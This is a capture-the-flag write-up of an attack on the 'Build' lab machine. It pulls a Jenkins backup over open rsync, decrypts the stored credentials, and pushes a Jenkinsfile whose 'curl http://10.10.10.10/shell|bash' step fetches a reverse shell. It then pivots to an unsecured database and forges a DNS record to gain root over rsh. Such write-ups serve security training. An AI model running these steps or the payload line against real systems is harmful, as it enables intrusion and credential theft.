Machine Card showing Build as an easy Linux machine

Reconnaissance

PORT     STATE    SERVICE         VERSION
22/tcp   open     ssh             OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 47:21:73:e2:6b:96:cd:f9:13:11:af:40:c8:4d:d6:7f (ECDSA)
|_  256 2b:5e:ba:f3:72:d3:b3:09:df:25:41:29:09:f4:7b:f5 (ED25519)
53/tcp   open     domain          PowerDNS
512/tcp  open     exec            netkit-rsh rexecd
513/tcp  open     login?
514/tcp  open     shell           Netkit rshd
873/tcp  open     rsync           (protocol version 31)
3000/tcp open     http?           Golang net/http server
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=419869a38a4e9bc8; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=VLK0pk4nKJHbCu0KTk0fwE6wlno6MTc0ODg1MTMwMzY3NDg0MzczMg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 02 Jun 2025 08:01:43 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2J1aWxkLnZsOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9idWlsZC52bDozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=c99fb3ae7e25ba6e; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=HVJARHDEd__miEnA-QXGTzhwlxY6MTc0ODg1MTMwMzg4ODIzNDU1NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 02 Jun 2025 08:01:43 GMT
|_    Content-Length: 0
3306/tcp filtered mysql
8081/tcp filtered blackice-icecap

The nmap scan found a Gitea instance on port 3000, multiple ports related to rsh and the rsync port.

Execution

Accessing the Gitea instance on port 3000 shows only one public accessible repository called dev from buildadm. It just contains a single file but the contents of Jenkinsfile do not reveal any interesting information. Despite being able to register a new account this does not increase visibility into the instance.

Jenkinsfile in Gitea repository

Shifting my focus to rsync in order to check if I can access it without providing credentials. Listing the available folders and contents works and I find jenkins.tar.gz in folder backups.

$ rsync -av --list-only rsync://10.10.118.222
backups         backups
 
$ rsync -av --list-only rsync://10.10.118.222/backups
receiving incremental file list
drwxr-xr-x          4,096 2024/05/02 15:26:31 .
-rw-r--r--    376,289,280 2024/05/02 15:26:19 jenkins.tar.gz
 
sent 24 bytes  received 82 bytes  212.00 bytes/sec
total size is 376,289,280  speedup is 3,549,898.87

Then I create a local folder to store the archive in and retrieve it with rsync.

$ mkdir backups
 
$ rsync -av rsync://10.10.118.222/backups backups
receiving incremental file list
created directory backups
./
jenkins.tar.gz
 
sent 50 bytes  received 376,381,276 bytes  3,047,622.07 bytes/sec
total size is 376,289,280  speedup is 1.00

Instead of manually going through the extracted archive, I use go-decrypt-jenkins to search for credentials. This uncovers the login details for buildadm and a password hash for admin.

$ ./go-decrypt-jenkins-linux-amd64 -d jenkins_configuration
Searching for files in jenkins_configuration
username: buildadm
password: G<REDACTED>!
usernameSecret: false
id: e4048737-7acd-46fd-86ef-a3db45683d4f
 
id: admin
name: admin
passwordHash: #jbcrypt:$2a$10$Pa<REDACTED>rG

The password G<REDACTED>! is valid for accessing the Gitea instance as buildadm and I gain write access to the only repository. Based on the Jenkinsfile, this repo might be used in the a pipeline and checking the configured webhooks enforces that assumption.

Repo dev has a webhook configured

After replacing the Jenkinsfile with another version that fetches a reverse shell payload from my web server and pipes it over to Bash, I do get a callback as root within a container.

Jenkinsfile
pipeline {
    agent any
 
    stages {
        stage('Do nothing') {
            steps {
                sh 'curl http://10.10.10.10/shell|bash'
            }
        }
    }
}

Privilege Escalation

The home folder of the root user contains an .rhosts file specifying two entries from where a user can login via rsh without providing a password1.

.rhosts
admin.build.vl +
intern.build.vl +

From the nmap scan I know that a filtered port for MySQL was discovered and the /etc/hosts file within the container reveals the IP 172.18.0.3 for the current system, so the actual host might be accessible on 172.18.0.1.

In order for me to access the network 172.18.0.1/24 I transfer chisel via curl and run it in client mode to open a SOCKS proxy. Running mysql via proxychains lets me access the database without providing a password.

$ proxychains -q mysql -u root \
                       -h 172.18.0.1 \
                       --skip-ssl \
                       --silent
MariaDB [(none)]> show databases;
Database
information_schema
mysql
performance_schema
powerdnsadmin
sys
 
MariaDB [(none)]> use powerdnsadmin
 
MariaDB [powerdnsadmin]> show tables;
Tables_in_powerdnsadmin
account
account_user
alembic_version
apikey
apikey_account
comments
cryptokeys
domain
domain_apikey
domain_setting
domain_template
domain_template_record
domain_user
domainmetadata
domains
history
records
role
sessions
setting
supermasters
tsigkeys
user
 
MariaDB [powerdnsadmin]> select * from records;
id      domain_id       name    type    content ttl     prio    disabled        ordername       auth
8       1       db.build.vl     A       172.18.0.4      60      0       0       NULL    1
9       1       gitea.build.vl  A       172.18.0.2      60      0       0       NULL    1
10      1       intern.build.vl A       172.18.0.1      60      0       0       NULL    1
11      1       jenkins.build.vl        A       172.18.0.3      60      0       0       NULL    1
12      1       pdns-worker.build.vl    A       172.18.0.5      60      0       0       NULL    1
13      1       pdns.build.vl   A       172.18.0.6      60      0       0       NULL    1
14      1       build.vl        SOA     a.misconfigured.dns.server.invalid hostmaster.build.vl 2024050201 10800 3600 604800 3600        1500    0       0       NULL    1

Listing the records in the powerdnsadmin database show the configured DNS entries. Notably admin.build.vl is missing despite being present in the .rhosts file. Therefore I add this entry pointing towards my IP into the database.

INSERT INTO records 
	(id, domain_id, name, type, content, ttl, prio, disabled, ordername, auth) 
VALUES 
	(15, 1, "admin.build.vl", "A", "10.10.10.10", 60, 0, 0, NULL, 1);

With nslookup I check the DNS server for the newly created DNS entry and get my IP back.

$ nslookup admin.build.vl 10.10.118.222
Server:         10.10.118.222
Address:        10.10.118.222#53
 
Name:   admin.build.vl
Address: 10.10.10.10

Trying to access the host via rsh works and I get a shell as root on the host system.

$ rsh 10.10.118.222 -l root
 
$ id
uid=0(root) gid=0(root) groups=0(root)

Attack Path

flowchart TD

subgraph "Execution"
	A(rysnc) -->|No Authentication| B(Jenkins Backup)
	B -->|Search for secrets| C(Access to Gitea as buildadm)
	C -->|Modify Jenkinsfile| D(Shell as root in container)
end

subgraph "Privilege Escalation"
	D -->|Unsecured MySQL on host| E(Add DNS entry in PowerDNS)
	E -->|Login via rsh| F(Shell as root)
end

Footnotes

  1. hosts.equiv(5)